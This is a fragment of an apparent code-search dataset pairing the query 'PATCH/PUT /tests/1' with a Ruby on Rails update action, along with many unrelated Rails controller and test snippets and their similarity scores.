"def create\n @test1 = Test1.new(test1_params)\n\n respond_to do |format|\n if @test1.save\n format.html { redirect_to @test1, notice: \"Test1 was successfully created.\" }\n format.json { render :show, status: :created, location: @test1 }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @httparty_test = HttpartyTest.new(httparty_test_params)\n\n respond_to do |format|\n if @httparty_test.save\n format.html { redirect_to @httparty_test, notice: 'Httparty test was successfully created.' }\n format.json { render :show, status: :created, location: @httparty_test }\n else\n format.html { render :new }\n format.json { render json: @httparty_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def testing_params\n params.require(:testing).permit(:requiredtests, :name, :customer, :description, :supplier, :supplierrefferenceno, :leadtime, :testdate, :results, :retestdate, :reresults, :cost, :trackingsheet)\n end",
"def test_all_the_dogs_are_in_one_pack\n @params = {\n packs: [\n {\n dogs: ['Spot', 'Fido', 'Rover'],\n location: 'San Francisco',\n },\n {\n dogs: ['Doggie', 'Lassie'],\n location: 'Canada',\n },\n ],\n }\n\n\n post \"/dogs\", params = @params\n assert_equal 'Spot, Fido, Rover, Doggie, and Lassie are all in one pack. Oh no!', last_response.body\n end",
"def create\n @case_test = CaseTest.new(case_test_params)\n\n respond_to do |format|\n if @case_test.save\n format.html { redirect_to @case_test, notice: 'Case test was successfully created.' }\n format.json { render :show, status: :created, location: @case_test }\n else\n format.html { render :new }\n format.json { render json: @case_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test\n render json: { message: 'Hello World' }\n end",
"def create\n @test_app = TestApp.new(test_app_params)\n\n respond_to do |format|\n if @test_app.save\n format.html { redirect_to @test_app, notice: \"Test app was successfully created.\" }\n format.json { render :show, status: :created, location: @test_app }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @test_app.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_create_lead\n client.expects(:request).with(:post, 'https://api.com/rest/sites/site-123/leads',\n '{\"email\":\"[email protected]\"}', nil)\n\n client.create_lead(\"site-123\", {email: \"[email protected]\"})\n end",
"def create\n @test_item = TestItem.new(test_item_params)\n\n respond_to do |format|\n if @test_item.save\n format.html { redirect_to @test_item, notice: 'Test item was successfully created.' }\n format.json { render action: 'show', status: :created, location: @test_item }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test = @subject.tests.new(params[:test])\n if @test.save\n redirect_to user_subject_tests_path\n else\n render :action => \"new\"\n end\n end",
"def testtest_params\n params[:testtest]\n end",
"def test_params\n params.require(:test).permit(:number, :model, :sample_received, :report_received, :inspection_id, :standard_id, :project_id, :comments)\n end",
"def create_test_order(options)\n request :account, :post, 'order/test', options\n end",
"def tests\n CircleCi.request(conf, \"#{base_path}/#{build}/tests\").get\n end",
"def create\n if has_missing_params?([:test_output, :test_run_id])\n # incomplete/invalid HTTP params\n render 'shared/http_status', locals: {code: '422', message:\n HttpStatusHelper::ERROR_CODE['message']['422']}, status: 422\n return\n end\n test_run = TestRun.find(params[:test_run_id])\n begin\n test_run.create_test_script_results_from_json(params[:test_output])\n render 'shared/http_status', locals: {code: '201', message:\n HttpStatusHelper::ERROR_CODE['message']['201']}, status: 201\n rescue\n # Some other error occurred\n render 'shared/http_status', locals: { code: '500', message:\n HttpStatusHelper::ERROR_CODE['message']['500'] }, status: 500\n end\n rescue ActiveRecord::RecordNotFound => e\n # Could not find submission\n render 'shared/http_status', locals: {code: '404', message:\n e}, status: 404\n end",
"def create\n @test_case = TestCase.new(test_case_params)\n\n respond_to do |format|\n if @test_case.save\n TestMailer.admin_new_test_email(@test_case).deliver\n \n format.html { redirect_to @test_case, notice: 'Your test was successfully added.' }\n format.json { render action: 'show', status: :created, location: @test_case }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_duplicate_user\n data = { 'email' => '[email protected]', 'password' => 'open1234' }\n post '/users', data.to_json\n assert last_response.status.eql?(400)\n json_data = JSON last_response.body\n assert json_data['errors'].present?\n end",
"def create\n @runscope_test = RunscopeTest.new(runscope_test_params)\n\n respond_to do |format|\n if @runscope_test.save\n format.html { redirect_to @runscope_test, notice: 'Runscope test was successfully created.' }\n format.json { render :show, status: :created, location: @runscope_test }\n else\n format.html { render :new }\n format.json { render json: @runscope_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @test_stuff = TestStuff.new(test_stuff_params)\n\n respond_to do |format|\n if @test_stuff.save\n format.html { redirect_to @test_stuff, notice: 'Test stuff was successfully created.' }\n format.json { render action: 'show', status: :created, location: @test_stuff }\n else\n format.html { render action: 'new' }\n format.json { render json: @test_stuff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @usertest = Usertest.new(params[:usertest])\n\n respond_to do |format|\n if @usertest.save\n format.html { redirect_to @usertest, notice: 'Usertest was successfully created.' }\n format.json { render json: @usertest, status: :created, location: @usertest }\n else\n format.html { render action: \"new\" }\n format.json { render json: @usertest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:name)\n end",
"def test_create_user_unsuccessful\n data = {\n username: \"\",\n password: \"hoangvietanh91\",\n password_confirmation: \"hoangvietanh91\",\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n expected = 1001\n resp = Net::HTTP.post_form(URI.parse('http://localhost:3000/v1/users'),data)\n actual = JSON.parse(resp.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def create\n @validation_test = ValidationTest.new(validation_test_params)\n\n respond_to do |format|\n if @validation_test.save\n format.html { redirect_to @validation_test, notice: 'Validation test was successfully created.' }\n format.json { render :show, status: :created, location: @validation_test }\n else\n format.html { render :new }\n format.json { render json: @validation_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n \t# add actions here\n # This action takes place in the test suite controller\n end",
"def post_ruby\n \n code = params[:code]\n step = params[:step]\n @step = Step.find(step)\n @valid = 0\n @testCount = @step.code_tests.count\n @step.code_tests.each do |test|\n code = validateCode(code)\n @testcode = code + \"\\n print \" + test.input \n testResult = testResult(@testcode)\n logger.info\"..............................#{testResult}\"\n if testResult.to_s == test.output \n @valid += 1 \n end\n \n \n end\n @message = \"#{@valid} out of #{@testCount} testcases passed\"\n render json: {status: 'SUCCESS', testPass: @valid, testCount: @testCount, message:@message },status: :ok\n end",
"def create\n @student_test = StudentTest.new(params[:student_test])\n\n respond_to do |format|\n if @student_test.save\n format.html { redirect_to @student_test, notice: 'Student test was successfully created.' }\n format.json { render json: @student_test, status: :created, location: @student_test }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_params\n params.require(:test).permit(:title, :short, :state)\n end",
"def create\n @testsuite = Testsuite.new(testsuite_params)\n\n respond_to do |format|\n if @testsuite.save\n format.html { redirect_to @testsuite, notice: 'Testsuite was successfully created.' }\n format.json { render :show, status: :created, location: @testsuite }\n else\n format.html { render :new }\n format.json { render json: @testsuite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_submit_signup\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy1\", :create_email =>\"[email protected]\" }\n assert_response :bad_request\n assert_equal \"Passwords do not match\", @response.body\n assert_nil session[:user]\n\n post :submit_signup, { :create_password2 =>\"freddy\", :create_username =>\"fred\", :create_password => \"freddy\", :create_email =>\"[email protected]\" }\n assert_response :success\n assert_equal 'fred', session[:user][:username]\n end",
"def test_should_create_group_invite_via_API_JSON\r\n \r\n end",
"def test_create\n\n admin_session = cathy_admin_session\n # Verify that a platform can be added. The number of platforms will\n # increase by one.\n assert_equal(5, Platform.count)\n\n new_platform = { 'active' => '1', 'name' => 'Thunderbird' }\n\n post(:create, { :new_platform => new_platform }, admin_session)\n assert_equal(6, Platform.count)\n assert_equal(\"Platform #{new_platform['name']} added\", flash['notice'])\n assert_redirected_to(:action => 'list')\n \n # Try to add a second platform with the same name.\n # It should not get added.\n post(:create, { :new_platform => new_platform }, admin_session)\n assert_equal(6, Platform.count)\n #assert_equal(\"Name has already been taken\", flash['notice'])\n assert_redirected_to(:action => 'add')\n\n\n # Try to add a platform withhout a name.\n # It should not get added.\n post(:create, { :new_platform => { 'active' => '1', 'name' => '' } }, admin_session)\n assert_equal(6, Platform.count)\n #assert_equal(\"Name can't be blank\", flash['notice'])\n assert_redirected_to(:action => 'add')\n\n end",
"def new\n @test_suite = TestSuite.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @test_suite }\n end\n end",
"def test_checking_saving_values\n post '/save-values', :value1 => '1', :value2 => '2'\n token_json = JSON.parse(last_response.body)\n assert_not_equal \" \", token_json['id']\n end"
] | [
"0.72139466",
"0.70664746",
"0.70649576",
"0.698973",
"0.68169713",
"0.6594761",
"0.65116346",
"0.64799345",
"0.64702207",
"0.6453199",
"0.6437914",
"0.6407723",
"0.63976455",
"0.6325744",
"0.6325744",
"0.6283378",
"0.62668014",
"0.6260816",
"0.62560624",
"0.62288237",
"0.61961913",
"0.6188176",
"0.6154824",
"0.61540574",
"0.6147011",
"0.60692245",
"0.6059116",
"0.60526246",
"0.60483086",
"0.6036433",
"0.6036053",
"0.602331",
"0.60223776",
"0.60143495",
"0.6000325",
"0.6000325",
"0.59680325",
"0.59668803",
"0.596638",
"0.5962468",
"0.59621257",
"0.59585273",
"0.5957035",
"0.5949743",
"0.5933972",
"0.5933741",
"0.59257734",
"0.58890355",
"0.58874935",
"0.58846396",
"0.5880545",
"0.58777946",
"0.58772993",
"0.5875763",
"0.5863714",
"0.5849156",
"0.58476037",
"0.58339614",
"0.5832362",
"0.5824599",
"0.5823201",
"0.5818945",
"0.5816932",
"0.58077663",
"0.58029807",
"0.5802522",
"0.58021426",
"0.58003795",
"0.5793477",
"0.57916695",
"0.57905334",
"0.578877",
"0.57871956",
"0.5785927",
"0.57827896",
"0.57810104",
"0.57776976",
"0.5774928",
"0.5773101",
"0.5764966",
"0.57623637",
"0.5757679",
"0.57399404",
"0.5738896",
"0.573714",
"0.57287496",
"0.5727302",
"0.57245606",
"0.57121533",
"0.5708125",
"0.57014275",
"0.5689672",
"0.56882805",
"0.5687434",
"0.5680322"
] | 0.6549934 | 11 |
PATCH/PUT /tests/1 PATCH/PUT /tests/1.json | def update
respond_to do |format|
if @test.update(test_params)
format.html { redirect_to root_path, notice: 'Test was successfully updated.' }
format.json { render :show, status: :ok, location: @test }
else
format.html { render :edit }
format.json { render json: @test.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @test = Test.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_successful\n data = {\n firstname: \"Anh\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 200\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n if @test.update(test_params)\n render status: :ok, json: @test\n else\n self.send(:edit)\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_update_unsuccessful\n data = {\n firstname: \"\",\n lastname: \"Hoang\",\n avatar: \"avatar.png\",\n address: \"111D Ly Chinh Thang\",\n city: \"Ho Chi Minh\",\n email: \"[email protected]\",\n mobile: \"0309433343545\",\n gender: 1,\n birthday: \"1991/10/10\"\n }\n\n user_id = 28\n expected = 1002\n uri = URI.parse('http://localhost:3000/v1/users/'+user_id.to_s)\n\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def test_update_post\n data = {\n title: \"Roll lemon\",\n content: \"Gingerbread bear claw muffin danish danish marzipan. Toffee lollipop wafer carrot cake dessert.\",\n description: \"Chocolate tootsie roll lemon drops. Chupa chups chocolate bar apple pie\",\n image: \"chocolate.png\",\n status: 1\n }\n expected = 200\n post_id = 1\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s)\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def patch!\n request! :patch\n end",
"def update\n respond_to do |format|\n if @test_stuff.update(test_stuff_params)\n format.html { redirect_to @test_stuff, notice: 'Test stuff was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_stuff.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put_success\n put \"/blah\", @test_obj do |response|\n assert response.ok?, \"Update test object failed\"\n end\n end",
"def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end",
"def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end",
"def update\n respond_to do |format|\n if @test1.update(test1_params)\n format.html { redirect_to @test1, notice: \"Test1 was successfully updated.\" }\n format.json { render :show, status: :ok, location: @test1 }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @test1.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @fixit_test.update(fixit_test_params)\n format.html { redirect_to @fixit_test, notice: 'Fixit test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @fixit_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test10 = Test10.find(params[:id])\n\n respond_to do |format|\n if @test10.update_attributes(params[:test10])\n format.html { redirect_to @test10, notice: 'Test10 was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test10.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tester = Tester.find(params[:id])\n\n respond_to do |format|\n if @tester.update_attributes(params[:tester])\n format.html { redirect_to @tester, notice: 'Tester was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tester.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testing_.update(testing__params)\n format.html { redirect_to @testing_, notice: 'Testing was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testing_.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testtest.update(testtest_params)\n format.html { redirect_to @testtest, notice: 'Testtest was successfully updated.' }\n format.json { render :show, status: :ok, location: @testtest }\n else\n format.html { render :edit }\n format.json { render json: @testtest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testcase = Testcase.find(params[:id])\n\n respond_to do |format|\n if @testcase.update_attributes(params[:testcase])\n format.html { redirect_to @testcase, :notice => 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @testcase.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n if @test.update(test_params)\n respond_to do |format|\n format.html { redirect_to admin_tests_path }\n format.json { render :show, status: :ok, location: admin_tests_path }\n end\n else\n respond_to do |format|\n format.html { render :edit, notice: \"Please do you test again. An unexpected error has occured!\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end \n end",
"def test_change_status\n expected = 200\n post_id = 1\n data = {\n status: 1\n }\n uri = URI.parse('http://localhost:3000/v1/posts/'+post_id.to_s+'/status')\n http = Net::HTTP.new(uri.host,uri.port)\n request = Net::HTTP::Put.new(uri.path)\n request.set_form_data(data)\n response = http.request(request)\n actual = JSON.parse(response.body)\n result = assert_equal(expected,actual['meta']['code'])\n puts this_method_name + \" - \" + result.to_s\n end",
"def update\n @test = LoadTest.find(params[:id])\n\n respond_to do |format|\n if @test.update_attributes(params[:load_test])\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @test.update(test_params)\n return render json: {message: 'Test was updated succesfully', error: false }\n else\n return render json: {message: 'Error: Test was not updated succesfully', error: true }\n end\n end",
"def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end",
"def update\n @smoke_test = SmokeTest.find(params[:id])\n\n if not params[:smoke_test][:test_suite_ids] and not params[:smoke_test][:config_templates]\n @smoke_test.config_templates.clear\n @smoke_test.test_suites.clear\n end\n respond_to do |format|\n if @smoke_test.update_attributes(params[:smoke_test])\n\n @smoke_test.test_suites.clear if @smoke_test.test_suites.size == 0\n format.html { redirect_to(@smoke_test, :notice => 'Smoke test was successfully updated.') }\n format.json { render :json => @smoke_test, :status => :ok }\n format.xml { render :xml => @smoke_test, :status => :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @smoke_test.errors, :status => :unprocessable_entity }\n format.xml { render :xml => @smoke_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @testis = Teste.find(params[:id])\n\n respond_to do |format|\n if @testis.update_attributes(params[:testis])\n format.html { redirect_to @testis, notice: 'Teste was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @testis.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jquery_test.update(jquery_test_params)\n format.html { redirect_to @jquery_test, notice: 'Jquery test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @jquery_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_set = TestSet.find(params[:id])\n permitted_to! :update, @test_set.problem\n respond_to do |format|\n if @test_set.update_attributes(permitted_params)\n format.html { redirect_to @test_set, :notice => 'Test set was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @test_set.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @jsontest.update(jsontest_params)\n format.html { redirect_to @jsontest, notice: 'Jsontest was successfully updated.' }\n format.json { render :show, status: :ok, location: @jsontest }\n else\n format.html { render :edit }\n format.json { render json: @jsontest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(url, data)\n RestClient.put url, data, :content_type => :json\nend",
"def update\n @team_test = TeamTest.find(params[:id])\n\n respond_to do |format|\n if @team_test.update_attributes(params[:team_test])\n format.html { redirect_to @team_test, notice: 'Team test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @team_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to patient_path(@test.patient), notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_test = TestTest.find(params[:id])\n\n respond_to do |format|\n if @test_test.update_attributes(params[:test_test])\n format.html { redirect_to(@test_test, :notice => 'TestTest was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @test_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @testfile.update(testfile_params)\n format.html { redirect_to @testfile, notice: 'Testfile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @testfile.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch(path, **args); end",
"def update\n respond_to do |format|\n if @test_detail.update(test_detail_params)\n format.html { redirect_to @test_detail, notice: 'Test detail was successfully updated.' }\n format.json { render :show, status: :ok, location: @test_detail }\n else\n format.html { render :edit }\n format.json { render json: @test_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Prueba actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @tktest = Tktest.find(params[:id])\n\n respond_to do |format|\n if @tktest.update_attributes(params[:tktest])\n format.html { redirect_to @tktest, notice: 'Tktest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @tktest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tests_specification.update(tests_specification_params)\n format.html { redirect_to edit_tests_specification_path(@tests_specification), notice: \"Tests specification was successfully updated.\" }\n format.json { render :show, status: :ok, location: @tests_specification }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @tests_specification.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @section_test = SectionTest.find(params[:id])\n\n respond_to do |format|\n if @section_test.update_attributes(params[:section_test])\n format.html { redirect_to @section_test, notice: 'Section test was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @section_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_file = TestFile.find(params[:id])\n\n respond_to do |format|\n if @test_file.update_attributes(params[:test_file])\n format.html { redirect_to @test_file, notice: 'Test file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_file.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n respond_to do |format|\n if @what_test.update(what_test_params)\n format.html { redirect_to @what_test, notice: 'What test was successfully updated.' }\n format.json { render :show, status: :ok, location: @what_test }\n else\n format.html { render :edit }\n format.json { render json: @what_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_suite = TestSuite.find(params[:id])\n\n respond_to do |format|\n if @test_suite.update_attributes(params[:test_suite])\n format.html { redirect_to @test_suite, notice: 'Test suite was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_suite.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_instance.update(test_instance_params)\n # jankety solution to set version properly\n @test_instance.update_version(true)\n\n format.html do\n redirect_to test_case_test_instances_url(@test_case),\n notice: 'Test instance was successfully updated.'\n end\n format.json { render :show, status: :ok, location: @test_instance }\n else\n format.html { render :edit }\n format.json do\n render json: @test_instance.errors, status: :unprocessable_entity\n end\n end\n end\n end",
"def rest_patch(base_uri,json_payload,params)\n begin\n @response = RestClient.patch(base_uri,json_payload,params)\n rescue => e\n puts @response.code\n end\n return @response\n end",
"def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end",
"def update\n @test_post = TestPost.find(params[:id])\n\n respond_to do |format|\n if @test_post.update_attributes(params[:test_post])\n format.html { redirect_to @test_post, notice: 'Test post was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_post.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @usertest = Usertest.find(params[:id])\n\n respond_to do |format|\n if @usertest.update_attributes(params[:usertest])\n format.html { redirect_to @usertest, notice: 'Usertest was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @usertest.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_case.update(test_case_params)\n TestMailer.admin_test_updated_email(@test_case).deliver\n \n format.html { redirect_to @test_case, notice: 'Your test was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n tp = test_params.merge!(plate_id: params[:plate_id])\n respond_to do |format|\n if @test.update(tp)\n format.html { redirect_to [@plate, @test], notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @test_run = TestRun.find(params[:id])\n\n respond_to do |format|\n if @test_run.update_attributes(params[:test_run])\n format.html { redirect_to @test_run, notice: 'Test run was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_run.errors, status: :unprocessable_entity }\n end\n end\n end",
"def patch\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def patch options\n rest_request({ method: :patch }.merge(options))\n end",
"def update\n respond_to do |format|\n if @case_test.update(case_test_params)\n format.html { redirect_to @case_test, notice: 'Case test was successfully updated.' }\n format.json { render :show, status: :ok, location: @case_test }\n else\n format.html { render :edit }\n format.json { render json: @case_test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n @test.update_question_details(test_params)\n if @test.update(test_params)\n format.html { redirect_to @test, notice: 'Test was successfully updated.' }\n format.json { render :show, status: :ok, location: @test }\n else\n format.html { render :edit }\n format.json { render json: @test.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @testmonial = Testmonial.find(params[:id])\n\n if @testmonial.update(testmonial_params)\n head :no_content\n else\n render json: @testmonial.errors, status: :unprocessable_entity\n end\n end",
"def update\n @admin_test = Admin::Test.find(params[:id])\n\n respond_to do |format|\n if @admin_test.update_attributes(params[:admin_test])\n format.html { redirect_to(@admin_test, :notice => 'Test was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @admin_test.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def put!\n request! :put\n end",
"def update\n @test_user = TestUser.find(params[:id])\n\n respond_to do |format|\n if @test_user.update_attributes(params[:test_user])\n format.html { redirect_to @test_user, notice: 'Test user was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @test_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @test_item.update(test_item_params)\n format.html { redirect_to @test_item, notice: 'Test item was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @test_item.errors, status: :unprocessable_entity }\n end\n end\n end",
